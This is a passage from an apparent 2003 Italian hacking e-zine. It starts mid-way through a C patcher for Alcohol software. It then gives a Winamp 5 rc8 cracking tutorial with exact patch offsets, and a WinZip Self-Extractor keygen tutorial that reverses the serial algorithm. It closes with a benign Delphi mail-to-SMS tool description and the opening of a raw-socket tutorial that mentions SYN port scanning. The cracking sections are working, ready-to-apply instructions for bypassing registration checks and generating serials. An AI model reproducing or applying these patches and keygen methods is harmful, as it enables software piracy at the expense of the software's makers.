*(k+0x21519)=NOP; *(k+0x2151A)=NOP; *(k+0x2151B)=NOP; *(k+0x2151C)=NOP; *(k+0x2151D)=NOP; *(k+0x21BEB)=0xE9; *(k+0x21BEC)=0x9F; *(k+0x21BED)=0x06; *(k+0x21BEE)=0x00; *(k+0x21BEF)=0x00; *(k+0x21BF0)=NOP; if (!(fl_open=fopen("AlcoholCrk.exe","wb"))) { MessageBox(0, "Non posso creare il file", "Errore", MB_OK + MB_ICONHAND); exit(0); } for (a=0;a | | _________________________________________________________| |____________________/ [+]Titolo: Crackare Winamp5rc8 [+]Autore: Graftal [+]Chan IRC: irc.azzurra.org - #Graftal [+]Email: Macro_Six3@hotmail.com ____________ |DiSCLAiMER| Every reference to facts, things or persons (virtual, real or esoteric) are purely casual and involuntary. Any trademark nominated here is registered or copyright of their respective owners. The author of this manual does not assume any responsability on the content or the use of informations retriven from here; he makes no guarantee of correctness, accuracy, reliability, safety or performance. This manual is provided "AS IS" without warranty of any kind. You alone are fully responsible for determining if this page is safe for use in your environment and for everything you are doing with it! _______ |iNTRO| Ok raga, oggi vi vorrei parlare del Winamp5rc8 che ancora in realta non è nemmeno uscito, ma cmq si trova facilmente in giro. In questa sua nuova incarnazione devo dire che è proprio ben riuscito ed è pure più veloce e stabile di prima, nonostante si tratti comunque di una versione che la casa produttrice non ha ancora messo sul sito. Ora andiamo nel menu Help/Register Winamp Pro (se non sbaglio, ma tanto si riconosce subito, ci sono 3 menu in croce :P). Ora premete su Enter Registration Key e nella dialog box che compare mettiamo nome e serial a caso (a dire il vero potete anche non mettere il serial) e settate un bp su GetDlgItemText. Bene, possiamo cominciare. ________________________ |CRACK, CRACK, CRACKiNG| Come vedete, una volta premuto OK ci poppa il debugger (io uso come al solito il mitico OllyDbg) e vediamo un po cosa abbiamo qua: .text:0042B405 call esi ; GetDlgItemTextA .text:0042B407 lea eax, [ebp+var_20] .text:0042B40A push 1Fh ; nMaxCount .text:0042B40C push eax ; lpString .text:0042B40D push edi ; nIDDlgItem .text:0042B40E push [ebp+hDlg] ; hDlg .text:0042B411 xor ebx, ebx .text:0042B413 mov [ebp+var_21], bl .text:0042B416 call esi ; GetDlgItemTextA .text:0042B418 lea eax, [ebp+var_20] .text:0042B41B mov [ebp+var_1], bl .text:0042B41E push eax ; int .text:0042B41F lea eax, [ebp+Data] .text:0042B425 push eax ; lpData .text:0042B426 push 1 ; Type .text:0042B428 call sub_442453 .text:0042B42D add esp, 0Ch .text:0042B430 call sub_442554 .text:0042B435 cmp dword_468278, ebx .text:0042B43B jz short loc_42B444;salta alla beggar off .text:0042B43D push 1 .text:0042B43F jmp loc_42B395;va al mex di congratulazioni Diciamo che qua è abbastanza classico direi, quindi noppiamo il jz per togliere il primo check :) Ok, non pensate neppure per un solo momento che il check sia uno solo eh! ;) Ma tanto anche gli altri sono facilissimi dai...Allora, vediamo che cmq, se facciamo partire il programma, non ci accetta lo stesso il serial. Quindi dobbiamo steppare per un bel po prima di raggiungere un po di codice interessante: questo lo capite dal fatto che abbiamo delle variabili che contengono frasi moooooolto particolari, beccatevi il codice :P .text:0042E810 call esi ; SetDlgItemTextA .text:0042E812 cmp dword_468278, ebx .text:0042E818 mov eax, offset aWinampPro ; "Winamp Pro" .text:0042E81D jnz short loc_42E824;2° check .text:0042E81F mov eax, offset aPurchaseWinamp ; "Purchase Winamp Pro Now!" .text:0042E824 .text:0042E824 loc_42E824: ; CODE XREF: sub_42E762+BBj .text:0042E824 push eax ; lpString .text:0042E825 push 50Ch ; nIDDlgItem .text:0042E82A push edi ; hDlg .text:0042E82B call esi ; SetDlgItemTextA .text:0042E82D cmp dword_468278, ebx .text:0042E833 mov eax, offset aWinampProFeatu ; "Winamp Pro features enabled.\r\n\r\nThank y"... .text:0042E838 jnz short loc_42E83F;3° check .text:0042E83A mov eax, offset aWithWinampProY ; "With Winamp Pro you can:\r\n - Rip CDs i"... .text:0042E83F .text:0042E83F loc_42E83F: .text:0042E83F push eax ; lpString .text:0042E840 push 50Dh ; nIDDlgItem .text:0042E845 push edi ; hDlg .text:0042E846 call esi ; SetDlgItemTextA .text:0042E848 mov eax, dword_468278 .text:0042E84D cmp eax, ebx .text:0042E84F jnz short loc_42E86C ;4° check :) .text:0042E851 cmp [ebp+Data], bl .text:0042E857 jz short loc_42E865 .text:0042E859 cmp byte ptr [ebp+var_20], bl .text:0042E85C jz short loc_42E865 .text:0042E85E push offset aInvalidRegistr ; "Invalid registration key" .text:0042E863 jmp short loc_42E87D .text:0042E865 ; -------------------------------------------------------------- .text:0042E865 .text:0042E865 loc_42E865: .text:0042E865 ; sub_42E762+FAj .text:0042E865 push offset aNotRegistered ; "Not registered" .text:0042E86A jmp short loc_42E87D .text:0042E86C ; -------------------------------------------------------------- .text:0042E86C .text:0042E86C loc_42E86C: .text:0042E86C cmp eax, 1 .text:0042E86F jnz short loc_42E878; possiamo considerarlo ;come se fosse un 5° check, ma non è poi cosi fondamentale eh.. .text:0042E871 push offset aValid5_0Regist ; "Valid 5.0 registration key" .text:0042E876 jmp short loc_42E87D .text:0042E878 ; -------------------------------------------------------------- .text:0042E878 .text:0042E878 loc_42E878: .text:0042E878 push offset aValid5_0Regi_0 ; LPCSTR .text:0042E87D .text:0042E87D loc_42E87D: .text:0042E87D ; sub_42E762+108j ... .text:0042E87D lea eax, [ebp+var_220] .text:0042E883 push eax ; LPSTR .text:0042E884 call ds:wsprintfA .text:0042E88A pop ecx .text:0042E88B lea eax, [ebp+var_220] .text:0042E891 pop ecx .text:0042E892 push eax ; lpString .text:0042E893 push 4B7h ; nIDDlgItem .text:0042E898 push edi ; hDlg .text:0042E899 call esi ; SetDlgItemTextA .text:0042E89B pop ebx .text:0042E89C .text:0042E89C loc_42E89C: .text:0042E89C ; sub_42E762+72j ... .text:0042E89C push [ebp+arg_C] ; HGDIOBJ .text:0042E89F push [ebp+nIDDlgItem] ; nIDDlgItem .text:0042E8A2 push [ebp+arg_4] ; int .text:0042E8A5 push edi ; hDlg .text:0042E8A6 call sub_441B67 .text:0042E8AB add esp, 10h .text:0042E8AE xor eax, eax .text:0042E8B0 pop edi .text:0042E8B1 pop esi .text:0042E8B2 leave .text:0042E8B3 retn 10h .text:0042E8B3 sub_42E762 endp Ora pero andiamo un po nel dettaglio. Troviamo il 2° check esattamente dove il programma sceglie di mettere il testo nella dialog box principale (quella delle preferenze dove troviamo il pulsante Enter Registration Key) tra quello predefinito che è Purchase Winamp Pro (Compra Winamp Pro) oppure di mettere solo Winamp Pro che è cio che si dovrebbe leggere a programma registrato. Ovviamente qua ci basta un semplice jmp e siamo a posto: .text:0042E81D jnz short loc_42E824;da questo.. .text:0042E81D jmp short loc_42E824;trasformiamo a questo.. Ok. Il 3° check invece decide se mettere come testo (stiamo sempre parlando della dlgbox principale) quello che ci dice che il programma una volta registrato ha delle funzioni aggiuntive, oppure di mettere il testo di ringraziamento per aver registrato il prog. Cambiamo di nuovo il jnz in jmp: .text:0042E838 jnz short loc_42E83F;da questo.. .text:0042E838 jmp short loc_42E83F;a questo... Il 4° check serve a vedere se mettere nell'edit box la scritta Invalid Key o meno. Se quindi qui forziamo il jump otteniamo: .text:0042E84F jnz short loc_42E86C ;da questo.. .text:0042E84F jnz short loc_42E86C ;a questo.. Nel 5° check invece il prog vede se mettere nell'edit box o "Valid 5.0 registration key" oppure "Valid >5.0 registration key". Qui non è molto importante quale dei due si sceglie, ma io preferisco il secondo. Trasformiamo quindi: .text:0042E86F jnz short loc_42E878;da questo.. .text:0042E86F jmp short loc_42E878;a questo.. Dopo ci sono le istruzioni SetDlgItemText che danno il testo alla finestra ecc ecc e quindi non ci interessano. Abbiamo finito? Beh, diciamo che ci rimane ancora un ultimo check, ovvero quello che toglie dal menu Help la voce Register Winamp Pro. Ok ma, come lo troviamo? Nulla di più facile. Le API che in genere si usano per fare cio sono RemoveMenu o DeleteMenu (generalmente è più comune trovare la 1°). Qua pero non fatevi ingannare, non dobbiamo mettere un bp sull'api, perché tanto il debugger non poppera in quanto RemoveMenu non è chiamata! Piuttosto, vi conviene fare cosi: con l'ollydbg andatevi a cercare le api chiamate dal programma dalla finestra apposita e vedrete che ci sono più o meno 6 o 7 chiamate. Voi ad una ad una ci cliccate due volte sopra per vedere dove sta nel codice l'api e mettete un bp poco prima della sua chiamata, proprio dove vedete un check del tipo: cmp fratello, sorella je/jne incesto Ora Olly poppa quando noi clicchiamo sul menu Help, e siamo davanti a questo: .text:00429507 test eax, eax .text:00429509 mov dword ptr [esp+4], 0 .text:00429511 jz short loc_429521 .text:00429513 push 0 .text:00429515 push 9DCAh .text:0042951A push esi .text:0042951B call ds:RemoveMenu Benissimo, vediamo subito che se quel jump salta non avviene la rimozione della voce Register Winamp Pro, quindi lo noppiamo e siamo a posto :) Mi sembra perfetto, abbiamo finito ;) Per comodità, vi do tutti gli offset di cui avete bisogno, ma fate attenzione, ricordate che questi offset valgono solo per la versione rc8 del winamp5 =) 0042B43B Noppare il je (offset 2A83B) 0042E81D trasformare da jnz in jmp (offset 2DC1D) 0042E84F trasformare da jnz in jmp (offset 2DC4F) 0042E86F trasformare da jnz in jmp (offset 2DC6F) 0042E838 trasformare da jnz in jmp (offset 2DC38) 00429511 noppare il je (offset 28911) Ok, non c'è più altro da aggiungere, spero abbiate imparato qualcosa di nuovo ;) ________________ |RiNGRAZiAMENTi| Ringrazio tutti quanti quelli di #crack-it, #pmode, #cryptorev, #graftal, #nsh, #informazionelibera, #focushack e in particolare Quake2^AM per la dritta che mi ha dato (;)), Eimiar, kOrn[CsA] (aka ]KoRn[, o il contrario? boh :P), evilcry, cyberdude, unrelated, il mitico Quequero, [Brux], SiberianSTAR e tutta la gentaglia che conosco inzomma ;P If freedom is outlawed, only outlaws will have freedom... Guida scritta interamente da Graftal il mercoledì 10 dicembre 2003, All Rights Reserved :P +--------------------------------------------------------------[open the file]-+ |[ CRACKING ] | |-- Keygen per Winzip Self-Extractor Development | |-- Graftal | | _________________________________________________________| |____________________/ [+]Titolo: Keygen per Winzip Self-Extractor Development [+]Autore: Graftal [+]Chan IRC: irc.azzurra.org - #Graftal [+]Email: Macro_Six3@hotmail.com ---- Questa è la mail se avete qlcs da dire [+]Copyright: Copyright 2003, All Rights Reserved. ____________ |DiSCLAiMER| Every reference to facts, things or persons (virtual, real or esoteric) are purely casual and involuntary. Any trademark nominated here is registered or copyright of their respective owners. The author of this manual does not assume any responsability on the content or the use of informations retriven from here; he makes no guarantee of correctness, accuracy, reliability, safety or performance. This manual is provided "AS IS" without warranty of any kind. You alone are fully responsible for determining if this page is safe for use in your environment and for everything you are doing with it! Bene, in questo tutorial vorrei colmare una "lacuna" presente in un mio vecchio tute riguardo all'autokeygen del medesimo programma, WinzipSE. Dato che non avevo scritto il tutorial per il keygen, ho pensato di metterlo qua, pronto per voi :) Spero vi piaccia :P Allora, questa volta abbiamo ovviamente un approccio diverso da prima, e invece di andare a trovare un punto in cui il programma fa qualcosa di inutile (o proprio non fa nulla :)) e fare un autokeygen, andiamo ad analizzarci tutto l'algo che genera il serial :) Mettiamo nuovamente i breakpoint su GetDlgItemTextA e analizziamo il codice che ci compare una volta che il debugger poppa: :0040A1D7 call ds:GetDlgItemTextA ;qui prende l'username --------snip----tanto non ci interessa------ :0040A22F call ds:GetDlgItemTextA ;qui invece il serial da noi immesso -------snip----tanto non ci interessa di nuovo :)------ Arriviamo invece al primo vero check: :0040A260 pop ecx :0040A261 cmp eax, 8 :0040A264 jnz short loc_40A296 Che cosa fa qui? semplicemente prende il nostro serial e lo compara con 8: se sono uguali (se l'user insomma è lungo 8 caratteri) ci fa comparire una messagebox di errore che ci avvisa del fatto che il serial di winzip e di winzip SE sono diversi (il serial di winzip è lungo 8 caratteri, quello di winzip SE invece 6 :)). A questo punto quindi, attenti a mettere un serial più corto o più lungo. Avvenuto il salto, vediamo cosa troviamo: :0040A2FC movzx eax, byte_43E640 :0040A303 test eax, eax :0040A305 jnz short prima_della_call ;qui c'è un altro dei check, saltiamo alla label da me rinominata prima_della_call :) :0040A307 movzx eax, byte_43E520 :0040A30E test eax, eax :0040A310 jz short loc_40A369 :0040A312 ;arriviamo quindi qui :0040A312 prima_della_call: ; CODE XREF: sub_40A09E+267j :0040A312 push 0 :0040A314 call sub_409F35 ;call FONDAMENTALE :) :0040A319 test eax, eax :0040A31B jnz short loc_40A369 Ora entriamo nella call che ci porta a 409F35 e dobbiamo un po vedere come muoverci...Analizzando un po il codice iniziale vediamo che sono tutti dei check (molti inutili e ripetitivi, come troverete anche più avanti nell'algo) e arriviamo ad una call...Proprio quello che cercavamo: :00409FA5 call sub_409D1E Entriamoci e vediamo che sorprese ci aspettano :) Inizialmente ci sono un po di call e check vari, l'unica cosa davvero fondamentale qui è che il nostro user viene salvato in lowercase (con tutte le lettere minuscole insomma, e qui c'è una grande differenza, perché voi ovviamente sapete che il codice ascii di una lettera maiuscola e diversa da una minuscola :)). Ecco quindi che ci troviamo di fronte al nostro primo loop, analizziamolo: :00409D66 mov eax, [ebp+var_4] :00409D69 inc eax :00409D6A mov [ebp+var_4], eax :00409D6D :00409D6D loc_409D6D: ; CODE XREF: sub_409D1E+46j :00409D6D mov eax, [ebp+var_4] :00409D70 movzx eax, byte ptr [eax] :00409D73 test eax, eax :00409D75 jz loc_409DFB :00409D7B cmp cchMultiByte, 1 :00409D82 jle short loc_409D9F :00409D84 push 103h ; int :00409D89 mov eax, [ebp+var_4] :00409D8C movzx eax, byte ptr [eax] :00409D8F push eax ; int :00409D90 call __isctype :00409D95 pop ecx :00409D96 pop ecx :00409D97 mov [ebp+var_118], eax :00409D9D jmp short loc_409DBA :00409D9F ; ------------------------------------------------------------------ :00409D9F :00409D9F loc_409D9F: ; CODE XREF: sub_409D1E+64j :00409D9F mov eax, [ebp+var_4] :00409DA2 movzx eax, byte ptr [eax] :00409DA5 mov ecx, dword_427710 :00409DAB movzx eax, word ptr [ecx+eax*2] :00409DAF and eax, 103h :00409DB4 mov [ebp+var_118], eax :00409DBA :00409DBA loc_409DBA: ; CODE XREF: sub_409D1E+7Fj :00409DBA cmp [ebp+var_118], 0 :00409DC1 jz short loc_409DF6 :00409DC3 mov eax, [ebp+var_4] ;per noi, il loop comincia da qui, perché il resto non ci interessa :) :00409DC6 movzx eax, byte ptr [eax] ;mette la prima lettera dell'user :00409DC9 movzx ecx, [ebp+var_114] ;mette la sua posizione all'interno dell'username :00409DD0 imul eax, ecx ;li moltiplica con risultato in eax :00409DD3 mov cx, [ebp+var_110] ;il risultato... :00409DDA add cx, ax ;...viene aggiunto in cx... :00409DDD mov [ebp+var_110], cx ;...per essere poi messo in una variabile (di vitale importanza :)) :00409DE4 mov ax, [ebp+var_114] ;ora incrementa ax in modo che alla prossima moltiplicazione... :00409DEB add ax, 1 ;...ci sia la posizione successiva della lettera all'interno dell'username... :00409DEF mov [ebp+var_114], ax ;...e quindi salva il tutto... :00409DF6 :00409DF6 loc_409DF6: ; CODE XREF: sub_409D1E+A3j :00409DF6 jmp loc_409D66 ;ricomincia il ciclo :) Ok, per essere maggiormente chiaro vorrei ripetere tutta questa prima parte in modo un po più concreto, usando degli esempi. Noi abbiamo come username "graftal" (attenti eh, lowercase), vediamo cosa fa il prog: prende la prima lettera (la "g"), prende la sua posizione all'interno dell'username (è la prima lettera, quindi prende il numero 1); ora li moltiplica e il risultato lo AGGIUNGE in una variabile. Incrementa l'indice per passare alla seconda lettera e per fare quindi la moltiplicazione tra "r" (2° lettera) e 2 (perché è questa la sua posizione nell'username). In poche parole, moltiplica il carattere e il suo indice e aggiunge il risultato in una variabile, semplice no? :))) Teniamo d'occhio la variabile nella quale i vari risultati sono aggiunti perché come dicevo nel codice commentato, è di vitale importanza. Ora non pensiate sia finita eh, abbiamo da analizzare la seconda e ultima parte dell'algo :) :00409E10 loc_409E10: ; CODE XREF: sub_409D1E+167j :00409E10 mov eax, [ebp+var_4] :00409E13 inc eax :00409E14 mov [ebp+var_4], eax :00409E17 .text:00409E17 loc_409E17: ; CODE XREF: sub_409D1E+F0j :00409E17 mov eax, [ebp+var_4] :00409E1A movzx eax, byte ptr [eax] :00409E1D test eax, eax :00409E1F jz short loc_409E87 :00409E21 cmp cchMultiByte, 1 :00409E28 jle short loc_409E45 :00409E2A push 103h ; int :00409E2F mov eax, [ebp+var_4] :00409E32 movzx eax, byte ptr [eax] :00409E35 push eax ; int :00409E36 call __isctype :00409E3B pop ecx :00409E3C pop ecx :00409E3D mov [ebp+var_11C], eax :00409E43 jmp short loc_409E60 :00409E45 ; ------------------------------------------------------------------ :00409E45 :00409E45 loc_409E45: ; CODE XREF: sub_409D1E+10Aj :00409E45 mov eax, [ebp+var_4] :00409E48 movzx eax, byte ptr [eax] :00409E4B mov ecx, dword_427710 :00409E51 movzx eax, word ptr [ecx+eax*2] :00409E55 and eax, 103h :00409E5A mov [ebp+var_11C], eax :00409E60 .text:00409E60 loc_409E60: ; CODE XREF: sub_409D1E+125j :00409E60 cmp [ebp+var_11C], 0 :00409E67 jz short loc_409E85 :00409E69 push 1021h ;da qui comincia il vero loop: anche questo valore (che chiameremo "mask") è importante, è usato nella call dopo :00409E6E mov eax, [ebp+var_4] ;prende l'username :00409E71 movzx ax, byte ptr [eax] ;prende la prima lettera in AX, attenti! :00409E75 push eax :00409E76 push [ebp+var_8] :00409E79 call sub_409ECF ;una call che analizzeremo di seguito e che è importantissima :00409E7E add esp, 0Ch :00409E81 mov word ptr [ebp+var_8], ax :00409E85 :00409E85 loc_409E85: ; CODE XREF: sub_409D1E+149j :00409E85 jmp short loc_409E10 ;riparte il loop Ok, qui non fa molto come potete vedere, è infatti quella call a 409ECF che è importantissima: salto la parte prima del loop e ve la spiego qua a parole, perché fa praticamente una sola cosa: shifta il carattere dell'username preso prima di 8 verso sinistra (shl carattere, 8 ;in asm) e cosi se prima avevamo in ax "67" ora abbiamo "6700". Perfetto, passiamo al loop: :00409ECF push ebp :00409ED0 mov ebp, esp :00409ED2 push ecx :00409ED3 mov ax, [ebp+arg_4] ;mette il primo carattere dell'user in ax (se è la prima volta che viene eseguito il loop, se è la seconda allora è il secondo carattere dell'user che viene messo in ax ecc) :00409ED7 shl ax, 8 ;shifta il carattere di 8, in modo da avere in ah il carattere e 00 in al :00409EDB mov [ebp+arg_4], ax ;salva ax e poi si comincia il vero loop da 409EE5 :00409EDF and [ebp+var_4], 0 :00409EE3 jmp short loc_409EEC :00409EE5 ; ------------------------------------------------------------------ :00409EE5 :00409EE5 loc_409EE5: ; CODE XREF: sub_409ECF+5Ej :00409EE5 mov eax, [ebp+var_4] ;questa parte viene saltata la prima volta... :00409EE8 inc eax ;qui incrementa l'indice... :00409EE9 mov [ebp+var_4], eax ;...e lo salva :) :00409EEC :00409EEC loc_409EEC: ; CODE XREF: sub_409ECF+14j :00409EEC cmp [ebp+var_4], 8 ;lo compara quindi con 8...in pratica è un loop che si ripete per 8 volte... :00409EF0 jge short loc_409F2F ;se siamo arrivati a 8, allora esci dal loop e vai a 409F2F dove si esce dalla call :00409EF2 movzx eax, [ebp+arg_0] ;prende una variabile che nel keygen noi chiameremo "value" :00409EF6 movzx ecx, [ebp+arg_4] ;ora prende il carattere (che nel keygen si chiamerà "ch") che nelle istruzioni seguenti verra manipolato molto :) :00409EFA xor eax, ecx ;li xorra con risultato in eax (nel keygen creeremo una variabile per questo e la chiameremo "eax") :00409EFC and eax, 8000h ;ora fa un and tra eax e 8000h... :00409F01 test eax, eax ;...se fa 0... :00409F03 jz short loc_409F17 ;...allora saltiamo a 409F17... :00409F05 movzx eax, [ebp+arg_0] ;altrimenti prende "value" (la variabile di prima)... :00409F09 shl eax, 1 ;...la raddoppia grazie al shift left di 1... :00409F0B movzx ecx, [ebp+arg_8] ;...ora prende la "mask" che vale 1021h dal ciclo che abbiamo analizzato prima... :00409F0F xor eax, ecx ;...li xorra con risultato in eax... :00409F11 mov [ebp+arg_0], ax ;ora seleziona solo la word del risultato di prima, in C sarebbe eax &= 0xFFFF; :00409F15 jmp short loc_409F22 ;e ora passiamo a 409F22 per continuare il loop... :00409F17 ; ------------------------------------------------------------------ :00409F17 ;nel caso prima eax and 8000h facesse 0, allora capiteremmo qui...vediamo cosa ci attende... :00409F17 loc_409F17: ; CODE XREF: sub_409ECF+34j :00409F17 mov ax, [ebp+arg_0] ;prende "value" e lo mette in ax... :00409F1B shl ax, 1 ;...lo raddoppia... :00409F1E mov [ebp+arg_0], ax ;...e lo salva di nuovo... :00409F22 ;dal jmp di poco fa capitiamo qui... :00409F22 loc_409F22: ; CODE XREF: sub_409ECF+46j :00409F22 mov ax, [ebp+arg_4] ;prende il carattere e... :00409F26 shl ax, 1 ;...lo raddoppia... :00409F29 mov [ebp+arg_4], ax ;...lo salva e... :00409F2D jmp short loc_409EE5 ;...riparte il loop :) ... :00409F2F ; ------------------------------------------------------------------ :00409F2F :00409F2F loc_409F2F: ; CODE XREF: sub_409ECF+21j :00409F2F mov ax, [ebp+arg_0] ;una volta finito il loop di 8 iterazioni, si salva "value" in ax e si esce dalla call :00409F33 leave :00409F34 retn A questo punto esce dalla call, rientra nel loop di prima, e si rifà tutto daccapo con il carattere successivo dell'username :) Vediamo solo di fare il punto della situazione riguardo a questa call, giusto per essere sicuri che abbiate le idee chiare: prende il carattere dell'username, lo shifta a sinistra di 8 così da avere in ah il carattere (e non più in al) e di avere in al 00. Se per esempio l'username da noi immesso è "graftal", avremo in ax questo: 6700. 67 sarà quindi ah, e 00 al, mi sembra oltremodo semplice :) Ora invece comincia il loop vero e proprio che si rifarà per 8 volte (a causa di quel check presente all'inizio del loop a 409EEC): prima di tutto prende una variabile che all'inizio di tutto varrà ovviamente 0, poi prende il carattere (il famoso 6700 di prima :)) e li xorra con risultato in eax. Fa quindi l'and logico tra eax e il numero 8000h (attenti che è esadecimale eh! ;)) e se il risultato fa 0 allora il salto ci porta a 409F17, altrimenti si continua il loop normalmente; prendiamo il caso in cui si continua normalmente e vediamo che prima raddoppia "value" tramite un altro shift left e poi prende quel numero 1021h di prima e lo xorra con "value": attenti però perché questa volta il risultato viene salvato (sempre di word si parla!) in "value"! A questo punto salta alla fine del loop dove "ch" viene shiftato di 1 a sinistra e viene ovviamente salvata (come sempre) solo la word. Nel caso il jz di prima fosse saltato, avevamo il raddoppiamento di "value" e il salvataggio del risultato sempre sottoforma di word all'interno di "value" e quindi quel raddoppiamento di "ch" che viene eseguito in ogni loop. Quando anche questi loop sono finiti, abbiamo in "value" il risultato della seconda parte dell'algo: ecco quindi che facendo il punto della situazione, sappiamo finalmente che nella prima parte dell'algo abbiamo il numero che ci serve in "multot" mentre nella seconda parte in "value"; il programma in seguito aggiunge 9DDh a "value", fa uno sprintf per fare in modo che il risultato da noi ottenuto sia unsigned, ma a noi non interessa particolarmente. Ci interessa invece il fatto che alla fine, il serial viene creato dal programma prendendo i primi 3 numeri di multot CONCATENATI ai primi 3 di value :)))) Huh, spero di essere stato almeno chiaro :))) Arrivati qui pero non abbiamo ancora finito, ci manca il keygen! Allora, io ho deciso di farlo sotto windows utilizzando una semplicissima DialogBox e il Visual C++ .NET: vi metto in allegato al tutorial il file sorgente comunque, magari dateci un'occhiata, e se di programmazione sotto windows non sapete nulla, chissà che non vi dia l'ispirazione per cominciare :) Ok, non mi rimane altro da dire riguardo al tutorial e/o al programma, quindi penso proprio di aver (finalmente ;p) finito :)) E mo beccatevi i ringraziamenti!! :P Byez, Graftal ________________ |RiNGRAZiAMENTi| Ommadonna, questa è la parte più difficile di tutto il tute, ricordarsi tutte le innumerevoli persone da ringraziare è sempre arduo, ma cercherò di scrivere i loro nomi in ordine puramente casuale: se per caso mi scordo di qualcuno non abbiatemene :) kOrn[CsA] che è un mio grande amico e mi ha sempre aiutato e sostenuto :), Eimiar che è pure lui un grande amico e che almeno conosco di persona (:P), Ntoskrnl che è un grande (sisi, proprio cosi =)), evilcry che mi ha sempre aiutato a imparare nuove cose nell'arte del reversing e che io stimo moltissimo :), Quake2^AM pure, mi ha dato un po di dritte molte volte ;), AndreaGeddon, unrelated, cyberdude, active85k[], Kitsune-San (aka Xargon :)(o viceversa, non so, gh :P)), Ch4osm4n, SeiF3r, SiberianSTAR, [igor], Caligola (che sembra si sia volatilizzato :)), N0bodY88, blacksword, ZaDoK, Akagi, cHr, Dejavu, jhon[array], rrd, nob, hammerfish, laser, CyA e ultimo nella lista (e non per ordine di importanza ;)) il nostro GRANDE Quequero :) If freedom is outlawed, only outlaws will have freedom... +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- Mail Sms 1.0 | |-- ^_][ice][man][_^ | | _________________________________________________________| |____________________/ Salve ragazzi sono Davide; qualcuno mi conoscerà con il nick ^_][ice][man][_^ ma la cosa è totalmente identica ;) Se siete qui, significa che avete appena scaricato il .zip di un programma realizzato dal sottoscritto : Mail sms 1.0. Prima di vedere di cosa si tratti vi faccio presente che il programma è corredato da sorgenti! Il tutto è corredato da una Licenza GPL che vi consente di modificare e re-distribuire questo software, ammesso che rispettiate la stessa! Se vi interessano informazioni riguardo la GPL potete aprire con un editor il file LICENSE.txt Ritornando a noi, vediamo cos'è sto programma! Mail Sms 1.0 è un programma scritto interamente in Delphi ( premetto che non è ottimizzato ) , che consente di farvi inoltrare un sms di notifica, non appena nella vostra casella email c'è della posta! Tipica situazione : avete una linea ADSL che vi consente di rimanere collegati 24 h su 24 ad internet, dovete scendere a fare un servizio e state aspettando un'importante e-mail, oppure siete per casa, non volete stare davanti al computer aspettando che arrivino e-mail; cosa fate allora? Fate in modo che sia il cellulare ad avvertirvi non appena arrivi "posta fresca "! Ma come funziona? Beh devo premettere che questo servizio funziona solo per gli utenti OMNITEL, in quando fa uso di un servizio di questa compagnia, che consente di inoltrare sms da internet ad un utenti OMNITEL! Infatti, OMNITEL ha predisposto un servizio il quale, inoltrando un email all'indirizzo +39<34xnumerodicell>@vodafone.it , la stessa e-mail verrà convertita in SMS e recapitato; Il pacchetto .zip oltre a contenere i sorgenti del programma, contiene anche l'eseguibile già compilato ed una libreria .DLL ; vi premetto che il compilato deve essere sempre presente nella stessa cartella della libreria, altrimenti non funzionerà! Se invece volete compilarvelo da soli, occorre aver installato: - Delphi 7 ( se avete uno più vecchio, verificate che tutti i componenti ci siamo) - Il componente Trayicon ( che ho incluso nel mio .zip ) - Gli Indy components del delphi Prima di poter avviare il progetto, dovete unzippare la cartella trayicon,cliccare sul .dpk interessato ( il 5 se avete delphi 5, il 6 se avete delphi 6 /7 ) ; comunque all'interno della cartella ci sono tutti i manuali per poterlo installare e usarlo. Ho deciso di usare il componente Trayicon, perchè avevo l'esigenza di tenere attivo il programma, riducendolo nella taskbar, cosa che mi permette di fare questo componente ( che vi consiglio se dovete realizzare programmi da tenere accanto all'orologio); Gli indy components ( iDpop31 & IdSmpt ), inclusi in delphi7 li ho usati per interfacciare i protocolli Pop3 & Smpt in modo da verificare l'arrivo dei messaggi, ed inoltrare un sms al numero di cell. Nel pacchetto è incluso anche un altro file di testo, che vi aiuterà a capire come usare le funzioni contenute nella DLL. I sorgenti sono corredati da commenti, quindi non credo dovreste aver problema a leggere, ma se così non fosse vi prego di farvi sentire in qualche maniera! Il programma, come ho già detto prima, non è ottimizzato, in quanto non avevo esigenza di farlo; se noterò che la cosa vi interesserà e mi "inciterete" a continuare, potrò rilasciare altre release , perfezionando il codice e le funzioni! Fateci tutti gli esperimenti che volete, testatelo , distruggetelo, modificatelo ( sempre mettendomi tra i ringraziamenti ) e tenetemi informato se avrete fatto qualche modifica :) Penso non ci sia altro da aggiungere! Vi saluto e vi rimando al prossimo Tutorial/programma :D Questi sono i miei recapiti: email : edivada@iol.it www: http://digilander.libero.it/davidesite IRc : irc.azzurra.org --> Chan : #napolihak Saluti Davide "^_][ice][man][_^" +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- RAW Socket in C++ | |-- active85k | | _________________________________________________________| |____________________/ RAW Socket in C++ (by active85k – 14/12/2003) Tools utilizzati: Visual C++ 6.0 o superiore (suppongo) Un’API reference (io uso le MSDN, ma anche win32.hlp va bene) Un cervello funzionale Let’s go! Buonasera e benvenuti! In questo tutorial parleremo dei socket di windows, e precisamente dei socket utilizzati in modalità RAW. Voi dite… che diavolo vuol dire? Beh… se avete usato i socket STREAM (quelli comunemente utilizzati), siete a conoscenza delle loro funzioni principali come la funzione connect, che si occupa di stabilire la connessione. Con i socket RAW, tocca a noi stabilire la connessione con il server e precisamente, studieremo il “3 way hand-shaking”. Innanzitutto cerchiamo di capire come funziona questo sistema di connessione. La prima mossa è del client, che deve inviare la richiesta di connessione. Questa consiste nell’invio di un pacchetto con il flag SYN. Il server risponde poi con un SYN/ACK per comunicare al server di aver ricevuto la domanda. Ora però il server si aspetta una conferma da parte del client, il quale dovrà inviargli un pacchetto ACK. A questo punto la connessione è avvenuta. Vediamo un po’ di vedere le cose schematizzate: Client: SYN Heylà! Capo!! Appostu? Fammi fare ‘na connessione va… Server: SYN/ACK Weeeee! Si si, tutto a posto… vuoi collegarti? Ok fai pure! Client: ACK Ok, grazie tante! Ciao! E’ inutile che mi dite che faccio schifo. Lo so già! Come abbiamo spiegato prima, mentre i socket STREAM si occupano automaticamente di stabilire la connessione, coi socket RAW dobbiamo inviare e ricevere noi i dati che ci servono. Voi dite: << e a che scopo? >>. Beh… l’esempio più stupido è quello di un ip scanner: questo potrebbe controllare l’apertura di una porta fermandosi al SYN/ACK del server, senza, quindi, stabilire una connessione con esso. Innanzitutto bisogna creare il nostro progetto. Creiamo quindi una Simple Win32 application dall’elenco dei nuovi progetti che si possono creare. A questo punto, dobbiamo includere il file winsock.h per utilizzare le funzioni relative ai socket. Dopodiché dobbiamo includere anche la libreria utilizzata da questo file. Per fare questo, selezioniamo, dal menu 